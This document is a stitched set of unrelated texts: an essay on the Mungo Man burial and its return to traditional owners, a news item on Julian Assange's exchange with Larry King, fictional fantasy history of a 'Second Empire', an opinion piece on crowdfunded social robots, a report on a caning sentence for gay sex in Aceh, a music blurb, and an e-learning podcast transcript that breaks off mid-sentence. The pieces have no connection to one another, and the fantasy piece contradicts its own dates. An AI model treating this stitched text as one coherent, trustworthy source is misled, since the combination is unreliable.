doubled.  A hasty phone call from the nearest station homestead to colleagues at the Australian National University stimulated an immediate reaction. Two days later, Dr Alan Thorne, recently appointed as physical anthropologist to the department of archaeology and an expert on ancient Australian human history, arrived with a team to carry out the excavation. Clearance of cover sands soon revealed a complete skeleton. Lying in an outstretched position, hands extended over his groin, the man’s 170-centimetre-tall body had been inserted into a carefully prepared grave 80 to 100 centimetres deep in lakeshore sands on the downwind (south-eastern) side of the dune.  The body was emerging by erosion from original dune sediments, dated to more than 20,000 years. That burial cover assured us the grave was older than 20,000 years and knocking on the door of Australia’s earliest occupation age. With each delicate removal of sand, a new chapter of Australian history was unfolding before us.  The excavating team in the process of revealing the Mungo Man skeleton. Photograph: Jim Bowler  But then came a surprise: we were aware of a strange brownish-red zone around the upper part of the body. I was asked to identify a small pellet. It was a type of limonite, an iron oxide. Then the penny dropped. This was not just limonite but ochre, the result of haematite grinding, painted on the body or sprinkled on the grave.  Identified by Thorne as the remains of an adult male, this man had been buried with a level of ritual significance never before imagined, let alone encountered in any record of Australia’s ancient occupancy. This was of international significance.  The remains were removed and returned in Thorne’s care to the ANU, where they were carefully preserved for further detailed examination. The discovery was announced to the scientific world along with a dramatic full-grave image. Mungo Man – eventually firmly dated to 41,000 years – became famous almost overnight.  The results of his emergence and removal to Canberra were complex. Archaeological sciences celebrated these new contributions to Australia’s antiquity with special emphasis on their cultural significance, the ochre ritual. Physical anthropologists confirmed the earliest Australians were fully modern people.  Reactions from Aboriginal people were mixed. These were times of often passionate debate about land rights. Gough Whitlam’s preliminary Land Rights Act still awaited legislative endorsement. Major problems remained in areas of cultural ownership: who owned Australian history?  Indigenous people, angered by the removal of human remains without their knowledge, protested. In these remote inland areas, away from river-based communities, Aboriginal presence was virtually invisible. But the Aboriginal response was loud and clear. “This is our culture; you are disturbing the spirits of our people. Stick to your own European history.”  The 1976 Aboriginal Land Rights Act, passed under the new prime minister, Malcolm Fraser, set new and overdue ground rules for the collection and management of cultural materials. Such work could not continue without approval of, and preferably collaborative engagement with, traditional owners. This new level of Aboriginal control was seen by many as an unwelcome barrier to research agendas.  An uneasy standoff ensued between scientists and Indigenous occupants. Archaeology at Mungo came to a halt. A mutual accord was finally reached in 1989 whereby scientists and local Indigenous people agreed to mutual sharing of research agendas, ensuring priority employment for local Aboriginal people wherever possible. This was cemented by Thorne’s 1991 return of the Mungo Lady remains to traditional owners. Meanwhile the remains of Mungo Man lay in the laboratories of the ANU.  Mungo Man has given us a rich insight into a dynamic and ancient world. He has delivered an exciting range of scientific firsts, played a significant role in the establishment of the Willandra Lakes as a world heritage area, and, for many Indigenous people, his status has given a sense of pride to the very notion of being Aboriginal. As one of the two foundational burials, with Mungo Lady, he exemplifies Aboriginal Australia’s proudest traditions of antiquity and cultural development on the international stage.  Traditional owners have never ceased to call for the return of all skeletal remains to their homelands, the shores of Lake Mungo. For many years that return anticipated the establishment of a special Keeping Place, a dignified and secure repository for all skeletal remains removed from the world heritage area. Economic and bureaucratic difficulties have frustrated the establishment of the Keeping Place for years. Now traditional owners have joined with involved scientists to jointly declare that 40 years is long enough for Mungo Man to stay in his cardboard box. It is time to come home, time to return to Lake Mungo’s shores.  The view west towards Lake Mungo shows massive erosion on a shoreline dune. Erosion exposes internal artefacts and human remains buried within the ancient shoreline. Photograph: Jim Bowler  A working party is striving to make his return possible. Mungo Man will find his resting place in the same secure storage shared by Mungo Lady since her return in 1991. This is a momentous occasion, a benchmark moment for traditional owners and a closing of the gap in my Mungo journey. It is an event of national significance. That homecoming opens new opportunities; new voices will be heard from ancient graves.  In emerging from that grave Mungo Man continues to challenge ignorance and prejudice. Such status takes on further legitimacy in the light of his liturgical burial. That action of ceremonial anointing with the earth, the ochre drama, defines new levels of communal self-perception, an awareness and celebration of a people-nature mystique, an acknowledgement of a power beyond. In that sense the burial stands arguably as the world’s oldest example of overt religious expression.  In my pursuit of rational science, those lakeshore sands, originally solely of geological interest, have been transformed into sacred grounds. My eyes have been opened to glimpse and share in some small way that inner view long entrusted to Mungo Man’s Aboriginal descendants, a deep connection to country, to their ancestral spirit-charged lands. I remain ever conscious of Mutthi Mutthi elder Mary Pappin’s admonition: “You did not find Mungo Lady and Mungo Man – they found you!”  Already taking his place in the school curriculum as a key focus in Aboriginal history, Mungo Man’s place as messenger stands in firm justification for national recognition. While Aboriginal Australia must speak in its own voice, as a scientist with a sense of humanity already much deepened by Mungo Man’s contribution, I confidently hope that what has been changed in me will be shared in the lives of many others.  The return opens a new chapter, one in which the voices from the past – the voices from those graves – return in spirit with the bones. My burden remains to speak to and for those voices, to interpret their meaning and to deliver in their death the messages they may have voiced in life.  Mungo Man crosses many boundaries, boundaries between science and traditional cultures, between past and present, between black and white, between life and death. On returning home, his voice takes on new urgency, defining messages for his land and for his people. That occasion, after 40 years in waiting, brings new hope, a reassurance to Indigenous Australians of the nation’s debt to their ancestral history.  Wednesday’s anniversary commemorates a day that greeted the arrival of a new actor on the dramatic stage of expanding Aboriginal history. It was a day that changed the way we see ourselves as Australians.
-WikiLeaks founder Julian Assange appeared on Monday's "Larry King Live" to discuss his organization's massive leak of classified logs from the Iraq War. During the interview, King and Assange had a testy exchange about Assange's walking out of a CNN interview over the weekend, with Assange telling King he should be "ashamed" for bringing the incident up.  On Saturday, Assange walked out of an interview in London with CNN reporter Atika Shubert after she began asking him about his personal legal issues. Assange is being investigated in Sweden on charges of sexual abuse that were first dropped, and then reopened.  Assange took offense with Shubert's line of questioning, calling it "disgusting" and accusing Shubert of not wanting to discuss the issues raised by the documents released by WikiLeaks, and walked out.  On Monday, King did discuss those issues with Assange and with Daniel Ellsberg, who leaked the Pentagon Papers. Assange began by talking about some of the details revealed by the documents, including tens of thousands of previously unreported civilian casualties and rampant abuse and torture of detainees.  WATCH:  Towards the end of the show, however, King brought up the earlier interview, playing the tape of Assange walking out. King appeared to be initially confused by the tape, asking if Assange had walked out of his own show as well.  "Well, I didn't walk off, Larry, just then," Assange replied. "But perhaps, I should...those documents cover 109,000 deaths. That's a serious matter and it's extraordinarily disrespectful to those people to start conflating the first revelation of that material with any sort of tabloid journalism."  WATCH:  King hit back, criticizing Assange for dismissing the questions into his personal life.  "She was asking about the deliverer of the information, a question about the deliverer of the information...what was wrong with that?" he asked.  "...It is not right to bring in sensational and, in fact, false claims, a relatively trivial matter compared to the deaths of 109,000 people," Assange said. "And it is -- I mean, CNN should be ashamed of doing that. And you, Larry, you actually should be ashamed, as well."
-Where the First Empire was born of a remnant of the Student Men, on the eastern coast of Bluewine Bay on the Telsion peninsula and the Dragons Teeth a new civilization emerged from the ground up from the Dark Ages following the War of Four Centuries. Between 3000 and 2600 BIA Small towns and villages grew into City-States with some aide from trade with the resurgent Qanthrathi states to the west as well as trade contacts with Dwarven States, the High Elves and even the Drow (when they were not attempting to enslave them). Power in these states was distributed. A few of them had ruling dynasties but none of them ever developed a formal nobility or the rigid feudal structure. Far more common among Telsionic city state were oligarchies (in which a wealthy elite could vote on matters and their elected leaders) and democracies (in which all adult male citizens could vote on matters and their elected leaders), though slavery was widespread among them. The Drow fought with them on occasion, but were more concerned with dealing with orcish clans, hunting down Necrites and fighting wars with each other and with High Elvish raids. A few of their cities were reaped, especially early on, though eventually the Drow found it more productive to extort tribute out of these states and to use them as a source of mercenaries.  It was from this extortion that a power arose. With the persuasion of the famous statesman Ferrenes the Younger five of these city states came together in 2525 BIA with a proposal to two of the three neighboring Drow states: they would collect tribute for them from other states in return for a 8% cut, to which the Drow agreed. Thus was born the League of Five. Working together these five states could match any other state and with the profits they gained from extracting tribute their cities grew wealthier and stronger and continued to do so for five years. Their influence waxed as they vassalized other city states as 'junior members' of their league. Eventually in 2398 BIA their power had grown to the point where the Five Archons of the League told the Dark Elvish tribute collection party that they would no longer be their loan collectors. The Drow launched an attack to deal with this insolence, but this attack was repulsed. Two years latter they launched a second assault bringing to bear much larger forces, but these too were ultimately repulsed with the assistants of the High Elves. Having survived it's first trial by fire The League of Five had emerged as the Second Empire, which would continue a gradual expansion.  The Second Empire was a very loosely nit society. Junior members and client kingdoms were mostly free to run their territories as they saw fit, though they were required to pay taxes to the League and provide troops and ships when requested. The armies of the League were similarly diverse as each nation was usually free to raise warriors as it saw fit and came to include charioteers, slingers, crossbowmen, axemen, foot and mounted archers, shock infantry armed with fearsome warscythes, axes, men armed with primitive flame throwers and firebombs and elephant riders. Dwarvish minorities. Even so the most common soldiers in their armies were Hoplites: citizen soldiers clad in either linen, leather, chainmail or plate with large round shields and spears who fought in tight phalanx formations. The greatest (or at least most prestigious) hoplites came from the League's five ruling cities, where every free man was required to train for war and serve if called for. The Second Empire was very unusual in that it had five capitals which rotated on an annual basis. Eventually the government turned to subsidizing armaments. League policy was set by two bodies, the Council of Archons (which had five members elected by the people of each of the five cities) and the League Assembly (representatives of each of the League's Junior members, which included some colonies created by the Senior Members). The League Assembly did have some power and influence, in particular over budgetary matters even though the Council of Archons still served as the executive wing. In addition to the League Members there were also League Subjects who had resisted the League and were stripped of their right to assembly, usually for periods of 50 or 100 years.  Though the Second Empire fought several wars with the Drow ultimately it avoided too much confrontation with them. Fearing what happened to the First Empire they repulsed Drow attacks and fought battles at sea, but never launched an attack on a Drow State itself, in spite of considerable prodding from the High Elves. There was also a fair amount of trade between the second empire and the neighboring Drow States. Though a few sources embellish it most the role the Dark Elves played in it's end was secondary, for ultimately the Second Empire collapsed from within.  In 1979 BIA, Triaxicles (Strategos of the Southern Seas) in one of seventh and final war between the Second Empire and the Halicanisid Seraphate. From the Empire's assets on the eastern coast of the Greenwater Sea he launched an invasion, bested armies four times the size of his and (with reinforcements from the Empire Proper) pushed into the heart of the Second Empire's long time rival. In three years he had conquered the bulk of the Seraphate and left the rest to break apart. He was recalled in 2874 BIA to stand before the five Archons and was offered a boon from the Council of Archons of anything they could provide. What he asked for was that the League of Five become the League of Six, with his own city becoming a senior member of the League along with the five founding member states. This request was refused and he refused any other boon offered to him. This move intensified a rift between the alliance's Senior and Junior partners and after Triaxicles' assassination in 1968 BIA (who was responsible for doing so has been a subject of scholarly debate to this day) eventually culminated in civil war.  Thirty Seven junior members went out and formed The League of Thirty Seven to contest control of the league from the old capital. Fighting continued as border regions declared independence from the league, were over run by barbarians, were reaped by Dark Elves (who also acted as mercenaries for each side while for the most part refusing to fight other Drow forces). After thirteen years of fighting and the deaths of millions of subjects, the League of Five had lost more than 70% of it's territory, with 30% of it's former territory in the hands of the League of Thirty Seven and the remaining 40% lost to both. It's wealth spent, most of it's best forces dead and large sections of it's farmland and infrastructure in ruins and much of it's forces dedicated to garrisoning contested territory and guarding new boarders the Second Empire was left vulnerable and would continue in decline for another twenty years until the forces of the ascendant Third Empire came and absorbed what remained.
-There’s a wave of social robots taking over crowdfunding websites. Promising to be your personal assistant and companion of the future, these robots have become funding behemoths raking in hundreds of thousands to even millions of dollars per crowdfunding campaign. Spruced up campaign videos and full-fledged startup teams provide a strong backbone for the robot and its ability to garner backers, but there are two flaws lurking in the reality of these crowdfunded social robots: robot fulfillment and backer expectation.  Robot fulfillment is the robot’s ability to perform the actions described in the campaign. For example, can the robot order food when told to? Backer expectation is the anticipation that the backer has towards the robot they’re backing. In the case of social robots, it’s the belief that the robot will improve their lives by providing on-demand information and assistance through a talking machine interface. Both of these factors have been set high, and that’s a problem.  Let’s first take a look at Jibo. Jibo is a crowdfunded social robot born from the mind of MIT graduate and roboticist Cynthia Breazeal. It sits atop your table playing your typical virtual assistant. Ask Jibo about the weather or the recipe to that one meal you’re cooking up and he’ll answer. He’ll even notify you of texts and order food from your favorite restaurant. But that’s about it. Jibo is a stationary Siri-like robot that’s bound to whatever surface you place him on. However, that hasn’t scared off backers from contributing to Jibo’s huge success.  Jibo’s robot fulfillment is obscure at the moment. I have no doubt he can recognize average voice commands such as “how’s the weather” or recite words from a webpage, but I find it a bit odd that there have been zero demos showing off real dynamic conversations between Jibo and people. A simple search query for “Jibo demo” will bring up endless videos where Jibo recites his robotic “hello” and then spins around in circles while playing back a tune. It could very well be that Dr. Breazeal and her team are keeping everything behind the curtain for a big reveal, but there’s also the chance that development isn’t going as planned.  Aside from robot fulfillment, there’s the pickle for backer expectation. Jibo is promising to be your robotic assistant and companion. Backers are expecting a lot from Jibo, but they shouldn’t be surprised when Jibo turns out to be no more than a motorized talking smartphone. Jibo’s advertised features may seem reminiscent of science fiction, but they’re pretty close to the boilerplate algorithms we experience with digital assistants in our smartphones. And honestly, how often do you use your phone’s digital assistant? Once a month? Probably. Everyday? Unlikely. Perhaps backers are looking past this and investing for the social aspect that Jibo retains as a robot with pseudo-emotions. Nonetheless, I’m laying down my cards and saying Jibo will be a disappointing, dust-collecting machine in a majority of backers’ homes prior to adoption.  Another probable candidate for jaded backer expectations is a new robot named Robit. It’s a tiny robot currently seeking funding on Indiegogo that plans to be the robot that “does it all.” A robot such as Mr. Handy from the Fallout series if you will. With Robit, however, that’s not exactly the case. The robot moves around on two wheels with a weird motorized head at the top that spins around in an effort to convey emotion. No arms, object manipulators, or end effectors of any kind. The makers of Robit boast he can set alarms, remind you of your daily tasks, act as a robotic webcam for video calling, and even advise you on what to eat if you’re on a diet. These tasks boil down to the essential apps found on most smartphones. However, with Robit, the backer is going to have to make sure Robit’s available 100% of the time, and there’s no way he’s fitting in a pocket. Once a backer realizes this, they’re more likely to get annoyed with the hassle of Robit and just go back to using technology that’s faster and more reliable.  Moving on to robot fulfillment, here’s a robot that is bound to piss off backers. Its name is Alpha 2 and it’s a humanoid robot built for the home.  Backers have put in over a million bucks for this robot to deliver high-tech voice recognition, object handling, and features similar to your personal computer, but it’s ability to fulfill its promises aren’t looking so good. Alpha 2 was demoed at CES 2016 during a CNET interview, and it pretty much failed at performing the promised features: voice recognition, dancing, and basic motor skills. The whole thing was caught on tape, and it’s pretty hard to watch without cringing into a raisin. Warning. Awkwardness ensues.  The main point here is that these social robots are no more than your smartphone in the flesh. A smartphone, however, is quick, reliable, and portable. Putting the burden on a robot to tell you the weather may seem novelty at first, but it’s almost certain to get old once you realize that you have to make sure your robot’s there, listening, and answering in record timing before you get frustrated and resort to other means of technology. Wait, isn’t that what we’ve already done with our phone’s digital assistants? Social robots are on their way, but they’ll be a big disappointment to those who paid for them to arrive.  This article contains the opinion of the author and not the overall views of SimpleBotics.
-The sentence was higher than the recommendation by prosecutors of 80 strokes of the cane. Officials have not revealed the men's names due to the sensitivity of the case.  Published 12:45 PM, May 18, 2017  BANDA ACEH, Indonesia – A sharia court Wednesday, May 17 sentenced two Indonesian men to be publicly caned for gay sex for the first time in the conservative province of Aceh, the latest sign of a backlash against homosexuals in the Muslim-majority country.  The pair, aged 20 and 23, were sentenced to 85 strokes of the cane each after being found guilty of breaking sharia law in the only part of Indonesia that implements the strict Islamic regulations.  They were caught together in bed in March by vigilantes who burst into the boarding house where they were staying in provincial capital Banda Aceh.  Shaky phone footage of the raid that circulated online showed the vigilantes kicking, slapping and insulting the men, with one of them slumped naked on the ground during the attack.  Public caning has long been common for offenses such as gambling and drinking in Aceh, but Wednesday's verdict was the first time the punishment has been handed down for gay sex since a sharia regulation came into force in 2015 banning the practice.  "This is barbaric – this is another low point for Aceh, and also for Indonesia," said Andreas Harsono, Indonesia researcher for Human Rights Watch.  Gay sex is not illegal elsewhere in Indonesia, which has the world's biggest Muslim population.  The ruling is another sign of growing hostility towards Indonesia's small lesbian, gay, bisexual and transgender (LGBT) community, which has faced a wave of angry rhetoric in recent times, with ministers, hardliners and influential Islamic groups lining up to denounce homosexuality.  'Reduce my sentence'  Handing down the verdict at the Banda Aceh court, presiding judge Khairil Jamal said that the men had been "proven legally and convincingly guilty of committing gay sex, the defendants are sentenced to 85 strokes of the cane in public".  The sentence was higher than the recommendation by prosecutors of 80 strokes of the cane. Officials have not revealed the men's names due to the sensitivity of the case.  The men arrived at court handcuffed to one another, covering their faces with their clothes to hide their identities from journalists. During the hearing, they bowed their heads and covered their faces with their hands.  Asked by the judge if he accepted the verdict, one of the men said softly: "Please reduce my sentence". The second nodded gently and did not say anything.  Afer being caught, the men were handed over to sharia authorities who said they admitted to being in a relationship and having had sex 3 times.  The sentence will be carried out at a later date. Canings in Aceh are typically conducted using a thin, rattan cane in front of huge crowds outside mosques.  The backlash against the homosexual community began in early 2016, and activists believe it was triggered by widespread media coverage of a decision in the United States to legalize same-sex marriage.  A growing number of cases of gay people being harassed and running into problems have been reported. Earlier this month, police arrested 8 men in the city of Surabaya for allegedly holding a "gay party".  Aceh has faced mounting criticism for its canings, with images of women collapsing as they are publicly flogged drawing criticism from rights groups.  The province, on western Sumatra island, began implementing sharia law after being granted special autonomy in 2001, an attempt by the central government to quell a long-running separatist insurgency. Islamic laws have been strengthened since the province struck a peace deal with Jakarta in 2005. – Rappler.com
-OverDoz, the flower-minded collective behind California dream vids like "Don't Wanna Be Your Girlfriend," have popped up again with Childish Gambino, King Chip, and thousands of girls. Produced by Patrick Paige, bassist for The Internet, it's the kind of sunny funk that OverDoz is more than capable of pulling off, though the hook concedes the subject matter's less pretty: I ain't bragging, Kent Jamz sings of his body count, it ain't attractive. "I had been pretending to be Ron Isley all week, and the hook just flowed," Kent explains to FADER. "Once Chip and Gambino heard it, they had to get on it." It's been chill to see Gambino tastefully Drake-ing, hopping on cuts with upstarts from Kari Faux to Fredo Santana. But this feature was probably most worth his time: At the festival, the top of the lineup/ Still need a line-up, clothes ain't designer. OverDoz just wrapped their debut album, 2008, due on Sony/RCA.
-We are pleased to announce the launch of E-Learning Council’s Leaders in Learning Podcast. What better way to launch a learning and development podcast than to interview Clark Quinn from Quinnovation. Clark is an E-Learning Symposium keynote speaker, a recognized leader in learning technology strategy and a sought after speaker.  E-Learning Council Leaders in Learning RSS link.  Transcript of Interview with Clark Quinn  Sanjay Nasta: You’re listening to a Leaders in Learning podcast from E-Learning Council. The mission of E-Learning Council is to advance e-learning through a community that provides leadership, best practices and resources in a collaborative environment. I’m Sanjay Nasta. Today we are talking to a leader in learning, Clark Quinn, of Quinnovation. Clark, do you want to introduce yourself to our viewers?  Clark Quinn: I’m Clark Quinn. I help organizations use technology in ways that align with how we think, work and learn. Just a long background, a PhD in applied cognitive science, playing with sort of the bleeding edge of technology, lots of scars to prove it, and work through Quinnovation. That’s my vehicle to help organizations start getting strategic about … and particularly the learning development units in organizations … to get strategic about how they assist performance as we move forward from the industrial age to the information age.  Sanjay Nasta: We probably started with similar backgrounds. I’ve managed to go through all the computer age, really, then the PC age, and then the internet and now mobile, so I bet we have a similar set of backgrounds. One of the things that you’d emailed me before this was a white paper on quality e-learning, and the concept I found very interesting in there, the key concept, was the concept of effective e-learning versus efficient e-learning. Can you talk about that a little bit?  Clark Quinn: Sure. When we started having internet and computer-based training, we worried a lot about the quality. Particularly after 9/11, there was a lot of pressure to stop trying to do travel, and we started doing a lot more online. Since then, the pressure has come to do it faster, do it cheaper, and in doing that we’ve gone to how quickly can we put up content on the screen with a quiz, using technology in ways that we know how to use. We’ve moved from effectiveness, because we know this sort of event-based model, the fired together, wired together, and that’s great. You have to give a break and really sleep, and then you can strengthen it some more. Trying to imagine that we can do it all in one day is just broken, and yet that’s the model we have.  There’s a number of ways in which we distinguish between what we call traditional, typical e-learning, and what we know would be the type of thing that works. In fact, I banded together with several colleagues walking around an expo hall, once again saying, “We’ve been here 10 years together, meeting at these things, and what we see, there may be new, shiny objects or new buzzwords, but fundamentally underneath, the models haven’t changed.” We banded together and did what we call the Serious eLearning Manifesto. If there’s this big delta between what we could and should be doing and what we’re actually doing. I mean, we throw everything out and lose our predictability and our ability to actually do it under real-world constraints.  Sanjay Nasta: You know, we developed a lot of learning, and there is a tremendous pressure on cost and time, and just as much time of development as cost from our clients. Under those constraints, it becomes hard to be creative, to create the kind of e-learning that will actually drive effectiveness. How do you see getting past that pressure? What are some of the ways that we can talk to the stakeholders to educate them on why effective e-learning is important?  Clark Quinn: Yeah, and it’s a challenge. The problem is well-produced e-learning and well-designed and well-produced e-learning, the differences between them are subtle. That’s our area of expertise, and we’re supposed to know the nuances. Our consumers of our output, we shouldn’t expect them to know the difference. They should trust us, but many times they don’t, and we haven’t been good at articulating it. Too many go into instructional design that don’t have the deep background.  To your point, I think there are significant inflection points, certain places in our e-learning design processes, where small changes in what we do and how we do it, informed by what we know, there’s several bottlenecks I see. The first one is working with subject matter experts. There’s this fundamental problem that, because of the way our brains work, we compile knowledge away so that it’s no longer accessible to conscious learning. Research shows that 70 percent of what experts do, they don’t have conscious access to. They literally can’t tell us what they do, and yet we need to know what they do to help learners acquire it.  We need to come up with new ways to work with subject matter experts, and yet there’s a number of results or pressures that keep us from doing that. One of them is that for accreditation and compliance, sometimes we’re required to do what the subject matter expert tells us. “I’m an expert, you have to take my word for it,” and they don’t even realize they don’t have access to it. The power differential between the instructional designer and the subject matter expert, and in fact we need to balance those and say, “Look, you know your stuff, but I know my stuff. Trust me on this, or let’s negotiate a process.”  There’s a number of different ways we can work with that, but there are just pressures that make it challenging. That’s one example of a leverage point throughout the design process where we could get a better starting point, and once we have that starting point, we can execute against it fairly reliably to do better. There are some other points, but that’s one of the key ones that really can make a big difference.  Sanjay Nasta: Access to subject matter expert time is always a big issue for us. That’s a struggle, because they usually have day jobs, right? I mean, if they’re experts, they’re well regarded. They have a day job, they’re already busy, and this is an added-on responsibility. Do you have specific tactics that help you get better results out of subject matter experts?  Clark Quinn: I do. I think there’s a couple of things that will make a difference. When you’re hiring outside experts, maybe you’re producing learning for the market, you might have to reward them for their time, and then you have a strict … actually, in many cases that’s easier, because you can have a strict relationship expectation statement that says, you know, upon this, you will get paid. It’s internal experts that tend to be harder, and yet you need your business partners who you’re developing this for to acknowledge that you can’t do it without access to them. Part of it is in setting the expectations up front in what the relationship has to be, and being very concrete about why it has to be.  Another couple tricks, and this takes some knowledge on the part of instructional designers, and it’s a problem that we have accidental instructional designers. You wouldn’t have an accidental, you know, cab driver or an accidental neuroscientist, but somehow we seem to have accidental instructional designers.  Sanjay Nasta: You have accidental cab drivers. It’s called Uber now.  Clark Quinn: True, but there’s some requirements, I believe … and I’m willing to be wrong … and you take whatever risks are associated with that. The point being, take the initial material. Get the material beforehand, the PDFs and the PowerPoints, and don’t just slap them up on the screen but understand them enough, and use some real-world knowledge enough and talk to some triangular stakeholders, and [pre-seed 07;34] what you think is likely to be the information you need from those SME, and then have them critique it. Instead of having them generate it, have them critique it, and they’ll fix stuff that’s wrong, but you’ve done a lot of the work for them so you get the maximum input.  Like I said, also triangulating, so getting it from the supervisor of the people you’re training, who aren’t necessarily the same as the subject matter experts, and find out the problems that they still exhibit even after training, and bring that back in and say, “Well, we’re going to make those alternatives.” If you can get several subject matter experts, ideally getting several and getting them to work together really helps unpack that thinking, but that’s even more of a time commitment, as you point out.  There’s prethinking and giving them something to critique instead of asking them to produce it all ahead of time, and being [inaudible 08:21] with questions and having a dialogue with them to maximize their time are a couple of things that will help you get the best outputs from the least amount of time investment on their part.  Sanjay Nasta: The other challenge we’ve frequently seen with subject matter experts is the same problem we used to have when we were designing web pages. The information, it’s almost an information dump. It’s almost ego-driven information instead of objective-driven information, and that is a big challenge we have to overcome and educate. For me, training goes to an objective. That’s the difference between training and just conversation. Talking to a lot of management, two essential things that you talked about, it’s the do, it’s the effectiveness. I think one of the problems we have in training is it’s sometimes tough to measure the effectiveness in an isolated way, and that’s the other challenge.  I was thinking about talking to you this morning, and efficiency is one part, but the effectiveness of training is the other. How do we measure it? How do we prove it? When you can prove it, I’ve seen the budgets increase dramatically, but until you can prove it, it’s hard. In some cases it’s easy to prove, like sales training. If you can isolate it a bit and you watch sales go up, that’s a great measurement. Can you talk a little bit about your thoughts around effectiveness and what you see as effectiveness, and how you measure it?  Clark Quinn: Absolutely, Sanjay, and you’re right. Even before you talk with subject matter experts, you should be determining that there’s a real need that this course you’re designing is going to achieve. What is the problem? What is the gap between what we’re observing and what we should be observing, so we have a very specific focus, and how do we know that there’s that gap? That’s where you kind of do a measurement. People come in and ask for courses, and really you need to push back and say, “Well, what is the problem we’re solving?” This gets into performance consulting, and you identify. You say, “Sales, as you point out, is easy. Are we closing at an appropriate rate? What’s our time to closure? What’s our hit rate?”  All these things are concrete, but I want to suggest that most of what we should be doing should similarly be addressing a discernable problem. You know, yes, we have compliant sexual harassment training and such, and we might … you know, if we were doing that right. We’re doing it because it’s lawyer CYA instead of meeting a determined lack of performance. For most things when they come in, if it’s, you know, reducing errors in the manufacturing process, decreasing times on calls for customer service, it might not just be a course. It might be a combination of, well, we need better tools, job aids or look-up tables or decision tree tools, combined with training, to address that.  That’s where wrapping good course design should be inside a broader process of performance consulting, and then when we determine the learning experience, then we talk to the subject matter experts. Then we determine what should be in the decision course, but you can’t get there just when somebody says, “Okay, let’s start talking to an expert about a course.” You need to start beforehand and say, “What is the business unit’s measure that is not up to scratch?” If they can’t give that to you, you have a problem.  What’s not happening in the call center that should? Are customers unhappy? Are you not able to solve their problems, or is it taking too long to solve their problems? Let’s get specific here, and then you can design your training to address the real problem. Obviously, this is hard, but at the end of the day, that’s the strategic move that’s part of L&D has to name.  Sanjay Nasta: It also requires a broader base of knowledge than just learning. Some of those things require a business background, an operational background or a marketing background, depending where you’re addressing, so you can at least speak the same language. It’s a challenge to just go in with a learning background and attack some of those business problems. We have to start speaking the language of business, which is numbers and accounting. It’s one of the challenges I’ve had with some of the training people we work with. It’s important to speak the language of the customer and the stakeholder.  My other observation is we frequently … and training, you said it was going to a $105 billion industry or something in that range? It’s a large industry. We put a lot of different things under the training umbrella, and the training that you need for regulatory compliance … which frankly can be a page-turner, because the objectives are to take the training, in all honesty.  Clark Quinn: You shouldn’t be designing that. I mean, that’s industry standard stuff. You should just buy whatever the best off the shelf is. You shouldn’t invest your precious resources in design and development, except for things that are proprietary to your organization. Now, if there’s some maybe process used, yes, the way you handle it, but other than that, that’s just not a good use of your resources. Save it for more essential things.  Sanjay Nasta: The software industry went through the same thing, right? I mean, before QuickBooks, every business we consulted with said, “Oh, our accounting needs are unique,” and I will tell you, for most small businesses, QuickBooks and then Great Plains, then Oracle, can cover all accounting needs. It’s amazing how many times regulatory compliance training gets designed.  I will also tell you that I think in the minds of stakeholders and management, training gets painted with the same brush. They don’t differentiate between regulatory and compliance training and performance training, and I think that’s some of the marketing issues we have, getting the folks who are making the decisions to buy training to understand that there is a difference. I don’t know if you agree or disagree.  Clark Quinn: I couldn’t agree more. The designers in the company should be experts in the company’s business if they’re going to support it, and that’s part of the bigger picture of the strategy. There’s more to it. There’s a number of other touch points. There was some work Atul Gawande did, who wrote “The Checklist Manifesto,” where you have two checklists, one making sure you dotted the I’s and crossed the T’s, and that’s really good and most people do that, but he also had one where people synced up at the right point to make sure you’re on the page.  He was syncing up brainstorming at the beginning of the learning experience with diverse inputs, so the developer and the designer together just go, “What can we do and follow some good, known processes about being creative?” Then they come up with something that then each can work on their own part of it, but those sync points are another thing.  I’m suggesting there’s three major elements, processes around working with SMEs, processes that have great definition around how to make each of those elements work well, and getting the right connections, people working together at the right touch points to get the maximum benefit of creativity and quality along the way.  Sanjay Nasta: That’s a very good summary. Are there industries that are doing very effective training? I’ve seen examples.  Clark Quinn: Oh, sure. The military, the airline industry, places where people die if you get the answer wrong. You look at military and airline and medicine and they have either a lot of simulator practice or they have a lot of mentored practice, and that’s really the key. The rest of it’s idiosyncratic. If you happen to have an insightful, clever L&D manager who gets this and you look at what they do, they have action and reflection. That’s what learning is. We act in the world and reflect on it. To the extent that we’re good at reflection, we become more powerful learners, and one of the areas of focus could be just sort of learning to learn.  Sanjay Nasta: I was reading through your “Serious eLearning Manifesto,” and I love the summary. I think I’m going to make a poster and stick it in all our IDs’ offices. The move from content-focused to perform-focused, the move from efficient for authors to meaningful learning, and attendance-driven to engagement-driven, all of those will be very powerful changes in the industry. I get in deep trouble sometimes because I challenge what our industry is doing. I challenge the quality of the work that we are doing. I can’t politely repeat that in an interview, though. How has the traction been on the “eLearning Manifesto”? Are you starting to get some traction?  Clark Quinn: We’ve had traction. We got buy-in from ASTD and [inaudible 16:52] and ISPI and “Training” magazine, and we’ve had continuing people signing up, so we’ve gotten mind space. People have come up and said, “Oh, I love it,” but where I’ve seen a barrier is people having the momentum to make the change to do it. I have to give credit. That wasn’t me alone. That was with Michael Allen and Allen Interactions, who’s been decades at the, you know, ledge. Julie Dirksen, who wrote the great book “Design for How People Learn,” and Will Thalheimer, one of our great translators of research into practice.  We have great partners in doing that, but we truly believe in strong evidence that, yes, those eight values that differentiate typical e-learning from serious e-learning are important, and yet we’re calling out the industry. It can be risky in a business sense, but if you care about the potential … and that was what was great about working with those people, and it’s nice to talk to you too, Sanjay. If you care about what the potential is and what technology could be doing for learning, you really can’t not try and nudge the industry in positive directions if not, all right, take a brickbat.  Sanjay Nasta: We should wrap up, but there’s one question that comes out of that. I think the principles are great. The challenges to achieve the principles are partially tool-based and process-based. I think a lot of our designers are still having challenges with the process to achieve these values and the tools to achieve these values. I’ve seen it in other industries. In mobile, when we moved from web to mobile, the first thing we did was we copied the web, and the applications that got deep buy-in were designed for mobile. I think we have to have processes that allow us to design for effectiveness. We have to have marketing to solve that. I think that’s part of what’s going to drive adoption. I will tell you, from the management suite, the folks are ready for it, because it’s a challenge to them to achieve this.  Clark Quinn: Well, I think it’s well past time where CFOs are going, “Can you justify the money we’re spending on this?” I use this lightly and it’s probably insensitive, but I call us a faith-based industry. We have faith that if we follow the process, it’s what’s good. We don’t test it, we don’t measure it, and the rest of our business has faith that we know what we’re doing. They know learning is important and what we do looks like schooling, so it should be good, and they forget that schooling wasn’t particularly successful in their learning experience. I don’t mean to be irreverent, but I’m trying to find an angle that says, “We’ve got to get away from just this belief and start testing ourselves, and becoming as innovative as we expect other industries and organizations to be.”  Sanjay Nasta: The problem is, in this age, I can get any piece of information in a second on Google. It’s the wisdom to use that information that 